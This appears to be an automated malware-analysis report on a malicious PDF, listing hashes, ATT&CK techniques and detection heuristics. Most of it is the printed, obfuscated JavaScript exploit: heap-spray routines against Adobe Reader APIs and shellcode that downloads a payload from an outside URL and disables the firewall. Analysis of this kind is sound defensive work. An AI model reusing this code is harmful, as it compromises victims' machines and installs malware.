Malicious PDF / .COM — malware analysis report

Static analysis result for SHA-256 7e078c36cd359433…

MALICIOUS

PDF / .COM

3.8 KB First seen: 2026-05-11
MD5: bfd2b75587f27e927224395591c96857 SHA-1: 5c06bb08f114e0cf781ec5b11b15ad242b0f67b4 SHA-256: 7e078c36cd3594332fed87d065db674b1b0cad1583a1ab181660441326648be5
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains obfuscated JavaScript, identified by multiple heuristics including 'PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY'. This script is designed to execute shellcode, likely downloading and running a secondary malicious payload. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to T1059.007. Given the nature of PDF exploits, T1203 is also relevant, and T1566.001 is inferred as the likely initial access vector.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    return lI11lI1III;}
    var lIll1l1l1l=this;var I1ll111llI=function(Il1Il1lI11){Il1Il1lI11=String.fromCharCode((((Il1Il1lI11=Il1Il1lI11.charCodeAt(0))&223)-52)%26+(Il1Il1lI11&32)+65);return Il1Il1lI11;}
    var lI11Il1111=function(Il1Il1lI11){return Il1Il1lI11.replace(/[A-Za-z]/g,I1ll111llI);}
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0038_000.js pdf-javascript-stream PDF /JS object 38 at offset 0x8C 16410 bytes
SHA-256: 8858aecd1392c86e3a6d5aca6d5fe6831f288acdf7fb1e6e11ce0b7c8df7782b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var I111Il1l1l={IlIll111l1:202116108,I1I1IlI1II:4194304,ll1lIl1llI:262144,IIl11I111I:44952,l11IIIIIII:1400,IIl1ll11lI:296,IlIIll11lI:56,ll11I1I1lI:20,IllIIIIllI:8,IlI1l1l111:2,llIl1llll1:0,IIl1lI1III:0,lIll1Il1Il:0,IlIIIll111:16384,lIl11II1I1:4012,lIlI1lIIlI:80,IlllIl11lI:2,l1lI1II11I:4,IIl1lI1l1l:10,I1Il1Ill11:0,llI1lII1I1:0,Il111II1l1:180,I1IIIlllIl:65536,I11l11llI1:4096,l11IllIll1:0}
var lII11llIlI={IIllI11Ill:'\u2845\uE88B\u458B\u8B3C\u0554\u0378\u8BD5\u184A\u5A8B\u0320\uE3DD\u4934\u348B\u038B\u33F5\u33FF\uFCC0\u84AC\u74C0\uC107\u0DCF\uF803\uF4EB\u7C3B\u2424\uE175\u5A8B\u0324\u66DD\u0C8B\u8B4B\u1C5A\uDD03\u048B\u038B\u89C5\u2444\u611C\u55C3\uEC8B\u5351\u5756\u45C7\u89FC\u4567\uFC23\uD233\uC033\u30B0\u8B64\u8B10\u0C52\u528B\u8B14\u2872\u186A\u3359\u33FF\uACC0\u613C\u027C\u202C\uCFC1\u030D\uE2F8\u81F0\u5BFF\u4ABC\u8B6A\u105A\u128B\uDB75\uC38B\u4589\u8BFC\uFC45\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\uEC83\u5310\u5756\uA0E8\uFFFF\u50FF\u0468\u3249\uE8D3\uFF44\uFFFF\uC483\u8908\uF045\u8AE8\uFFFF\u50FF\u8E68\u0E4E\uE8EC\uFF2E\uFFFF\uC483\u8908\uF845\u45C7\u11FC\u1111\uC711\uF445\u1111\u1111\u03EB\uEB5A\uE805\uFFF8\uFFFF\u1AEB\u7275\u6D6C\u6E6F\u5500\u6C72\u6F44\u6E77\u6F6C\u6461\u6F54\u6946\u656C\u0041\uFA8B\uC783\u5702\u458B\uFFF0\u89D0\uFC45\uC085\u0675\uFF57\uF855\uEDEB\u458B\u50FC\u3668\u2F1A\uE870\uFECE\uFFFF\uC483\u8908\uF445\u03EB\uEB5A\uE805\uFFF8\uFFFF\uC033\uB7B0\uC203\uE0FF',I11l1lIIl1:'\u03EB\uEB5A\uE805\uFFF8\uFFFF\uC033',IllIIl1l1I:'\uB866\u02FF\uC203\uE0FF\u8B60\u8BEC',l1lI11IIIl:function(l1llI11llI,Ill111I1ll,IllI1l111I){return String(l1llI11llI+Ill111I1ll+IllI1l111I);}}
var llllI11111=function(ll1IIll1l1,I1lIllII1l){var lI11lI1III='';for(var I11lIlI11l=0;I11lIlI11l<I1lIllII1l;I11lIlI11l++){lI11lI1III+=ll1IIll1l1;}
return lI11lI1III;}
var lIll1l1l1l=this;var I1ll111llI=function(Il1Il1lI11){Il1Il1lI11=String.fromCharCode((((Il1Il1lI11=Il1Il1lI11.charCodeAt(0))&223)-52)%26+(Il1Il1lI11&32)+65);return Il1Il1lI11;}
var lI11Il1111=function(Il1Il1lI11){return Il1Il1lI11.replace(/[A-Za-z]/g,I1ll111llI);}
var lI1III1lII=function(ll1IIll1l1,II1I1lllII,llll1l11lI){return ll1IIll1l1.substring(II1I1lllII,llll1l11lI);}
var IllIIllllI=function(Ill1IIll11){var llll11II11={llll11II11:llllI11111(Ill1IIll11,4),IIll1IIll1:Ill1IIll11['\u006c\u0065\u006e\u0067\u0074\u0068']*4}
return lI1III1lII(llll11II11['llll11II11'],0,llll11II11['IIll1IIll1']/4);}
var l1lIll1ll1={lIIII1111l:IllIIllllI('\u0064\u006f\u0063'),llIlIlIIII:IllIIllllI('\u0070\u0072\u0069\u006e\u0074\u0066'),IIIll11I1I:IllIIllllI('\u0063\u006f\u006c\u006c\u0065\u0063\u0074\u0045\u006d\u0061\u0069\u006c\u0049\u006e\u0066\u006f'),I11l1Il1ll:IllIIllllI('\u0067\u0065\u0074\u0049\u0063\u006f\u006e'),llll11IlIl:IllIIllllI('\u006d\u0065\u0064\u0069\u0061'),lI1lIIIlI1:IllIIllllI('\u0063\u006f\u006c\u006c\u0061\u0062\u0053\u0074\u006f\u0072\u0065'),I11l11I11I:IllIIllllI('\u006e\u0065\u0077\u0050\u006c\u0061\u0079\u0065\u0072'),ll111I1lI1:IllIIllllI('\u0043\u006f\u006c\u006c\u0061\u0062'),IlIlI1llII:IllIIllllI('\u0070\u0072\u0069\u006e\u0074\u0064'),I1lll1lll1:IllIIllllI(lI11Il1111('c@000000000000000000000000 : cccc000'))}
var Il1IIll1l1=IllIIllllI(lII11llIlI['l1lI11IIIl'](lII11llIlI['I11l1lIIl1'],lII11llIlI['IllIIl1l1I'],lII11llIlI['IIllI11Ill']));var lllII111lI=IllIIllllI(Il1IIll1l1+'\u7468\u7074\u2F3A\u732F\u6365\u7275\u7765\u6265\u616D\u7473\u7265\u2E73\u6F63\u2F6D\u7579\u2F70\u7075\u6F6C\u6461\u702E\u7068\u693F\u3D64\u2638\u656B\u3D79\u3135\u6564\u6664\u3230\u3937\u6238\u3232\u3165\u3237\u3431\u3631\u3933\u3636\u3563\u3737\u3239\u6126\u6363\u7365\u3D73\u3633\u6431\u3733\u3332\u3966\u3337\u6331\u3465\u6232\u3262\u6433\u3633\u6233\u3133\u3432\u6365\u3426\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u5800\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u6A00\u8B00\uB8FA\uAAAA\uAAAA\u052D\uAAAA\u03AA\u57F8\uFA8B\uC783\u5708\u006A\u55FF\u5FF4\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFE27\uFFFF\u6850\uFE98\u0E8A\uCBE8\uFFFD\u83FF\u08C4\u4589\uEBFC\u5A03\u05EB\uF8E8\uFFFF\uEBFF\u5812\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u8B05\u83FA\u02C7\uFF57\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u5351\u5756\uDAE8\uFFFD\u50FF\u9868\u8AFE\uE80E\uFD7E\uFFFF\uC483\u8908\uFC45\u03EB\uEB5A\uE805\uFFF8\uFFFF\u26EB\u656E\u7374\u2E68\u7865\u2065\u6966\u6572\u6177\u6C6C\u7320\u7465\u6F20\u6D70\u646F\u2065\u6964\u6173\u6C62\u0065\u006A\uFA8B\uC783\u5702\u55FF\u5FFC\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFD79\uFFFF\u6850\uCEEF\u60E0\u1DE8\uFFFD\u83FF\u08C4\u4589\u6AFC\uFF00\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u6EE8\uFFFF\uE8FF\uFDA1\uFFFF\u17E8\uFFFF\uE8FF\uFFC0\uFFFF\u005D');var lllII1l1ll=IllIIllllI(Il1IIll1l1+'\u7468\u7074\u2F3A\u732F\u6365\u7275\u7765\u6265\u616D\u7473\u7265\u2E73\u6F63\u2F6D\u7579\u2F70\u7075\u6F6C\u6461\u702E\u7068\u693F\u3D64\u2636\u656B\u3D79\u3135\u6564\u6664\u3230\u3937\u6238\u3232\u3165\u3237\u3431\u3631\u3933\u3636\u3563\u3737\u3239\u6126\u6363\u7365\u3D73\u3633\u6431\u3733\u3332\u3966\u3337\u6331\u3465\u6232\u3262\u6433\u3633\u6233\u3133\u3432\u6365\u3426\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u5800\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u6A00\u8B00\uB8FA\uAAAA\uAAAA\u052D\uAAAA\u03AA\u57F8\uFA8B\uC783\u5708\u006A\u55FF\u5FF4\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFE27\uFFFF\u6850\uFE98\u0E8A\uCBE8\uFFFD\u83FF\u08C4\u4589\uEBFC\u5A03\u05EB\uF8E8\uFFFF\uEBFF\u5812\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u8B05\u83FA\u02C7\uFF57\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u5351\u5756\uDAE8\uFFFD\u50FF\u9868\u8AFE\uE80E\uFD7E\uFFFF\uC483\u8908\uFC45\u03EB\uEB5A\uE805\uFFF8\uFFFF\u26EB\u656E\u7374\u2E68\u7865\u2065\u6966\u6572\u6177\u6C6C\u7320\u7465\u6F20\u6D70\u646F\u2065\u6964\u6173\u6C62\u0065\u006A\uFA8B\uC783\u5702\u55FF\u5FFC\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFD79\uFFFF\u6850\uCEEF\u60E0\u1DE8\uFFFD\u83FF\u08C4\u4589\u6AFC\uFF00\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u6EE8\uFFFF\uE8FF\uFDA1\uFFFF\u17E8\uFFFF\uE8FF\uFFC0\uFFFF\u005D');var llI11ll1lI=IllIIllllI(Il1IIll1l1+'\u7468\u7074\u2F3A\u732F\u6365\u7275\u7765\u6265\u616D\u7473\u7265\u2E73\u6F63\u2F6D\u7579\u2F70\u7075\u6F6C\u6461\u702E\u7068\u693F\u3D64\u2639\u656B\u3D79\u3135\u6564\u6664\u3230\u3937\u6238\u3232\u3165\u3237\u3431\u3631\u3933\u3636\u3563\u3737\u3239\u6126\u6363\u7365\u3D73\u3633\u6431\u3733\u3332\u3966\u3337\u6331\u3465\u6232\u3262\u6433\u3633\u6233\u3133\u3432\u6365\u3426\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u5800\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u6A00\u8B00\uB8FA\uAAAA\uAAAA\u052D\uAAAA\u03AA\u57F8\uFA8B\uC783\u5708\u006A\u55FF\u5FF4\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFE27\uFFFF\u6850\uFE98\u0E8A\uCBE8\uFFFD\u83FF\u08C4\u4589\uEBFC\u5A03\u05EB\uF8E8\uFFFF\uEBFF\u5812\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u8B05\u83FA\u02C7\uFF57\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u5351\u5756\uDAE8\uFFFD\u50FF\u9868\u8AFE\uE80E\uFD7E\uFFFF\uC483\u8908\uFC45\u03EB\uEB5A\uE805\uFFF8\uFFFF\u26EB\u656E\u7374\u2E68\u7865\u2065\u6966\u6572\u6177\u6C6C\u7320\u7465\u6F20\u6D70\u646F\u2065\u6964\u6173\u6C62\u0065\u006A\uFA8B\uC783\u5702\u55FF\u5FFC\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFD79\uFFFF\u6850\uCEEF\u60E0\u1DE8\uFFFD\u83FF\u08C4\u4589\u6AFC\uFF00\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u6EE8\uFFFF\uE8FF\uFDA1\uFFFF\u17E8\uFFFF\uE8FF\uFFC0\uFFFF\u005D');var IllIII11II=IllIIllllI(Il1IIll1l1+'\u7468\u7074\u2F3A\u732F\u6365\u7275\u7765\u6265\u616D\u7473\u7265\u2E73\u6F63\u2F6D\u7579\u2F70\u7075\u6F6C\u6461\u702E\u7068\u693F\u3D64\u2637\u656B\u3D79\u3135\u6564\u6664\u3230\u3937\u6238\u3232\u3165\u3237\u3431\u3631\u3933\u3636\u3563\u3737\u3239\u6126\u6363\u7365\u3D73\u3633\u6431\u3733\u3332\u3966\u3337\u6331\u3465\u6232\u3262\u6433\u3633\u6233\u3133\u3432\u6365\u3426\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u3434\u5800\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u6A00\u8B00\uB8FA\uAAAA\uAAAA\u052D\uAAAA\u03AA\u57F8\uFA8B\uC783\u5708\u006A\u55FF\u5FF4\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFE27\uFFFF\u6850\uFE98\u0E8A\uCBE8\uFFFD\u83FF\u08C4\u4589\uEBFC\u5A03\u05EB\uF8E8\uFFFF\uEBFF\u5812\u5977\u3157\u6441\u6A4C\u324A\u6856\u652E\u6578\u6A00\u8B05\u83FA\u02C7\uFF57\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u5351\u5756\uDAE8\uFFFD\u50FF\u9868\u8AFE\uE80E\uFD7E\uFFFF\uC483\u8908\uFC45\u03EB\uEB5A\uE805\uFFF8\uFFFF\u26EB\u656E\u7374\u2E68\u7865\u2065\u6966\u6572\u6177\u6C6C\u7320\u7465\u6F20\u6D70\u646F\u2065\u6964\u6173\u6C62\u0065\u006A\uFA8B\uC783\u5702\u55FF\u5FFC\u5B5E\uE58B\uC35D\u8B55\u51EC\u5653\uE857\uFD79\uFFFF\u6850\uCEEF\u60E0\u1DE8\uFFFD\u83FF\u08C4\u4589\u6AFC\uFF00\uFC55\u5E5F\u8B5B\u5DE5\u55C3\uEC8B\u6EE8\uFFFF\uE8FF\uFDA1\uFFFF\u17E8\uFFFF\uE8FF\uFFC0\uFFFF\u005D');var II1I1IIIl1=function(l1l1I1I11I,IIllIIl1I1){lIll1l1l1l[l1lIll1ll1['lI1lIIIlI1']]=Collab[l1lIll1ll1['IIIll11I1I']]({subj:l1l1I1I11I,msg:IIllIIl1I1});}
var llIIl1I1ll=function(ll1IIll1l1,II1I1lllII){ll1IIll1l1=lI11Il1111(ll1IIll1l1);util[l1lIll1ll1['llIlIlIIII']](ll1IIll1l1,II1I1lllII);}
var lII111lll1={I1I111l1lI:IllIIllllI(llllI11111('\u9292',2)),IlllllI11l:IllIIllllI(llllI11111('\u0c0c',2)),I111Il1II1:IllIIllllI(llllI11111('\u0A0A',2)),I11lI1lII1:IllIIllllI('\u0009'),IllIlIIIll:IllIIllllI('\u000a'),I1Ill1lII1:'Goog. Agu.',Il1IlI11I1:function lIlIlll1lI(I1I111l1lI,IlllllI11l){while(I1I111l1lI['\u006c\u0065\u006e\u0067\u0074\u0068']*2<IlllllI11l){I1I111l1lI+=I1I111l1lI;}
I1I111l1lI=lI1III1lII(I1I111l1lI,0,IlllllI11l/2);return I1I111l1lI;}}
var IllIl11lI1=function(ll1IIll1l1,II1I1lllII,llll1l11lI,lllI1lIl1l,l11III1Il1){for(;ll1IIll1l1<II1I1lllII;ll1IIll1l1++){llll1l11lI[ll1IIll1l1]=lllI1lIl1l+l11III1Il1;}}
var l1IIl1llII=function(ll1IIll1l1,II1I1lllII){while(ll1IIll1l1['\u006c\u0065\u006e\u0067\u0074\u0068']<II1I1lllII){ll1IIll1l1+=ll1IIll1l1;}
return ll1IIll1l1;}
var l111lIIl1I=function(ll1IIll1l1){var Il111Il1I1=lII111lll1.I11lI1lII1;Il111Il1I1=l1IIl1llII(Il111Il1I1,I111Il1l1l['IlIIIll111']);Il111Il1I1='N.'+Il111Il1I1;app[l1lIll1ll1['lIIII1111l']][l1lIll1ll1['ll111I1lI1']][l1lIll1ll1['I11l1Il1ll']](ll1IIll1l1+Il111Il1I1);}
var I1II1ll11l=function(ll1IIll1l1,II1I1lllII,llll1l11lI,lllI1lIl1l){while(ll1IIll1l1['\u006c\u0065\u006e\u0067\u0074\u0068']+II1I1lllII<llll1l11lI){ll1IIll1l1+=ll1IIll1l1+lllI1lIl1l;}
return ll1IIll1l1;}
var II11l11Il1=function(ll1IIll1l1,II1I1lllII,llll1l11lI,lllI1lIl1l,l11III1Il1){for(ll1IIll1l1=II1I1lllII;ll1IIll1l1<llll1l11lI;ll1IIll1l1++){lllI1lIl1l[ll1IIll1l1]=l11III1Il1;}
return lllI1lIl1l;}
var I11ll1llll=new Object;I11ll1llll.I1I1IIllII=new Array();I11ll1llll.I11lII1llI=new Array();I11ll1llll.I1IllII11I=new Array();I11ll1llll.IlI1ll11l1=new Array();I11ll1llll.lI1lIl1I11=new Array();I11ll1llll.I1I111lIIl=lIll1l1l1l['I111Il1l1l'].IlIll111l1-lIll1l1l1l['I111Il1l1l'].I1I1IlI1II;I11ll1llll.llIlI1I1ll=I11ll1llll['I1I111lIIl']/lIll1l1l1l['I111Il1l1l']['I1I1IlI1II'];I11ll1llll.lIlI1Il11I=IllIIllllI('\u0025\u0034\u0035\u0030\u0030\u0030\u0073');var lIIIl1IlII=function(){var IIIlI1lIll=lIll1l1l1l['lllII1l1ll']+llllI11111(lII111lll1['I111Il1II1'],lIll1l1l1l['I111Il1l1l']['IlI1l1l111']);var IIlI1lIIl1=lIll1l1l1l['I111Il1l1l'].ll11I1I1lI+IIIlI1lIll['\u006c\u0065\u006e\u0067\u0074\u0068'];lII111lll1['I111Il1II1']=l1IIl1llII(lII111lll1['I111Il1II1'],IIlI1lIIl1);var III1llIl1I=lI1III1lII(lII111lll1['I111Il1II1'],lIll1l1l1l['I111Il1l1l']['lIll1Il1Il'],lII111lll1['I111Il1II1']['\u006c\u0065\u006e\u0067\u0074\u0068']-IIlI1lIIl1);var lI1II1lIlI=llllI11111(lIll1l1l1l['I111Il1l1l'].IllIIIIllI,lIll1l1l1l['I111Il1l1l']['IIl1ll11lI']);while(III1llIl1I['\u006c\u0065\u006e\u0067\u0074\u0068']+IIlI1lIIl1<I111Il1l1l.ll1lIl1llI){III1llIl1I+=III1llIl1I+lI1III1lII(lII111lll1.I111Il1II1,0,IIlI1lIIl1);}
IllIl11lI1(lIll1l1l1l['I111Il1l1l']['IIl1lI1III'],lIll1l1l1l['I111Il1l1l']['l11IIIIIII'],I11ll1llll['I1I1IIllII'],III1llIl1I,IIIlI1lIll);llIIl1I1ll(I11ll1llll.lIlI1Il11I,lI1II1lIlI);}
var IIII1Il11l=function(ll1IIll1l1,II1I1lllII,llll1l11lI){try{lIll1l1l1l[l1lIll1ll1['llll11IlIl']][l1lIll1ll1['I11l11I11I']](ll1IIll1l1);}
catch(l11III1Il1){}
util[l1lIll1ll1['IlIlI1llII']](llll1l11lI,II1I1lllII);}
var IlIll1I111=function(){var lI11lI1III;var IIlllII11I=lIll1l1l1l['lllII111lI']['\u006c\u0065\u006e\u0067\u0074\u0068'];var l1lIIl1I11=lIll1l1l1l['I111Il1l1l']['I1I1IlI1II'];IIlllII11I*=lIll1l1l1l['I111Il1l1l']['IlI1l1l111'];l1lIIl1I11-=(IIlllII11I+lIll1l1l1l['I111Il1l1l']['IlIIll11lI']);lII111lll1.I1I111l1lI=lII111lll1.Il1IlI11I1(lII111lll1.I1I111l1lI,l1lIIl1I11);IllIl11lI1(lIll1l1l1l['I111Il1l1l']['llIl1llll1'],I11ll1llll['llIlI1I1ll'],I11ll1llll['lI1lIl1I11'],lII111lll1.I1I111l1lI,lIll1l1l1l['lllII111lI']);lI11lI1III=l1IIl1llII(lII111lll1.IlllllI11l,lIll1l1l1l['I111Il1l1l']['IIl11I111I']);II1I1IIIl1(lII111lll1['I1Ill1lII1'],lI11lI1III);}
var lI1I111lI1=function(){var lI1lI11lII=IllIIllllI(llllI11111(lII111lll1.I1I111l1lI,I111Il1l1l['lIlI1lIIlI']/I111Il1l1l.IlllIl11lI));lI1lI11lII+=llI11ll1lI;var IlI1lIII11=I111Il1l1l['IIl1lI1l1l']+lI1lI11lII['\u006c\u0065\u006e\u0067\u0074\u0068'];var I1IlIII1lI=IllIIllllI(llllI11111(lII111lll1.I1I111l1lI,I111Il1l1l['IlllIl11lI']/I111Il1l1l.IlllIl11lI));var Il111llI1l=llllI11111(lII111lll1.IllIlIIIll,I111Il1l1l['l1lI1II11I']);I1IlIII1lI=l1IIl1llII(I1IlIII1lI,IlI1lIII11);var l1lIII111l=lI1III1lII(I1IlIII1lI,I111Il1l1l['llI1lII1I1'],IlI1lIII11);var lI1III1llI=lI1III1lII(I1IlIII1lI,I111Il1l1l['llI1lII1I1'],I1IlIII1lI['\u006c\u0065\u006e\u0067\u0074\u0068']-IlI1lIII11);lI1III1llI=I1II1ll11l(lI1III1llI,IlI1lIII11,I111Il1l1l['ll1lIl1llI'],l1lIII111l);IllIl11lI1(I111Il1l1l['I1Il1Ill11'],I111Il1l1l['Il111II1l1'],I11ll1llll.I1IllII11I,lI1III1llI,lI1lI11lII);I11ll1llll.I11lII1llI=II11l11Il1(I111Il1l1l['I1Il1Ill11'],I111Il1l1l['llI1lII1I1'],I111Il1l1l['lIl11II1I1'],I11ll1llll.I11lII1llI,Il111llI1l);l111lIIl1I(I11ll1llll.I11lII1llI);}
var lll1IIIII1=function(){var IlI1l11l1I=lII111lll1.I1I111l1lI;IlI1l11l1I=l1IIl1llII(IlI1l11l1I,I111Il1l1l.I1IIIlllIl/I111Il1l1l.IlllIl11lI);IlI1l11l1I=lI1III1lII(IlI1l11l1I,I111Il1l1l.l11IllIll1,I111Il1l1l.I1IIIlllIl/I111Il1l1l.IlllIl11lI-IllIII11II['\u006c\u0065\u006e\u0067\u0074\u0068']);for(;I111Il1l1l.l11IllIll1<I111Il1l1l.I11l11llI1;I111Il1l1l.l11IllIll1++){I11ll1llll.IlI1ll11l1[I111Il1l1l.l11IllIll1]=IlI1l11l1I+IllIII11II;}
IIII1Il11l(null,new Date(),l1lIll1ll1['I1lll1lll1']);}
var lIl111lIll=function(){var l1I1I1lIIl=app;var IllIIIl1I1=l1I1I1lIIl['\u0076\u0069\u0065\u0077\u0065\u0072\u0056\u0065\u0072\u0073\u0069\u006f\u006e'];return IllIIIl1I1;}
var l1IIII1IlI={Il1Il11l1l:8.102,II1l1I1II1:8.101,lIII1I1Ill:8.100,llllll1lI1:8.0,IlIllI1llI:7.0,II1lllI1lI:7.009,Ill1I1Il1I:7.008,llIIlIIlII:7.007,lIlI1lI1Il:7.006,IllIlllIl1:7.005,lIIlI1lIII:7.004,ll1lll11l1:7.003,IlIIlIl111:7.002,l1ll1IllIl:7.001,l1Illll11I:6.004,IIlII1l1Il:6.003,ll11IIIllI:6.002,lIlIlIl111:6.001,IIIlllI1ll:6.0,II11lll1I1:5.100,I1II1l1llI:5.01,lIlIIlIl11:5.005,l1IIlllll1:5.0,I1lI111IIl:4.005,IlIlII1Il1:9.0,lIIlIll1ll:7.100}
var II11lIIllI=function(ll1I1IllI1){var llIl1I11Il=(ll1I1IllI1>=8.0&&ll1I1IllI1<=9.200)?lll1IIIII1:lIIIl1IlII;if(ll1I1IllI1==l1IIII1IlI['II1l1I1II1']||ll1I1IllI1==l1IIII1IlI['lIII1I1Ill']||ll1I1IllI1==l1IIII1IlI['llllll1lI1']||ll1I1IllI1==l1IIII1IlI['IlIllI1llI']){llIl1I11Il=lIIIl1IlII;}
else if(ll1I1IllI1==l1IIII1IlI['II1lllI1lI']||ll1I1IllI1==l1IIII1IlI['Ill1I1Il1I']||ll1I1IllI1==l1IIII1IlI['llIIlIIlII']||ll1I1IllI1==l1IIII1IlI['lIlI1lI1Il']||ll1I1IllI1==l1IIII1IlI['IllIlllIl1']||ll1I1IllI1==l1IIII1IlI['lIIlI1lIII']||ll1I1IllI1==l1IIII1IlI['ll1lll11l1']||ll1I1IllI1==l1IIII1IlI['IlIIlIl111']||ll1I1IllI1==l1IIII1IlI['l1ll1IllIl']||ll1I1IllI1==l1IIII1IlI['l1Illll11I']||ll1I1IllI1==l1IIII1IlI['IIlII1l1Il']||ll1I1IllI1==l1IIII1IlI['ll11IIIllI']||ll1I1IllI1==l1IIII1IlI['lIlIlIl111']||ll1I1IllI1==l1IIII1IlI['IIIlllI1ll']||ll1I1IllI1==l1IIII1IlI['II11lll1I1']||ll1I1IllI1==l1IIII1IlI['I1II1l1llI']||ll1I1IllI1==l1IIII1IlI['lIlIIlIl11']||ll1I1IllI1==l1IIII1IlI['l1IIlllll1']||ll1I1IllI1==l1IIII1IlI['I1lI111IIl']){llIl1I11Il=IlIll1I111;}
else if(ll1I1IllI1==l1IIII1IlI['IlIlII1Il1']||ll1I1IllI1==l1IIII1IlI['lIIlIll1ll']){llIl1I11Il=lI1I111lI1;}
return llIl1I11Il;}
var lIlI1IlI11=function(){var l1I1I1lIIl=II11lIIllI(lIl111lIll());try{l1I1I1lIIl();}
catch(l11III1Il1){try{if(l1I1I1lIIl!==lIIIl1IlII){lIIIl1IlII();}}
catch(l11III1Il1){try{if(l1I1I1lIIl!==lll1IIIII1){lll1IIIII1();}}
catch(l11III1Il1){}}}}
lIlI1IlI11();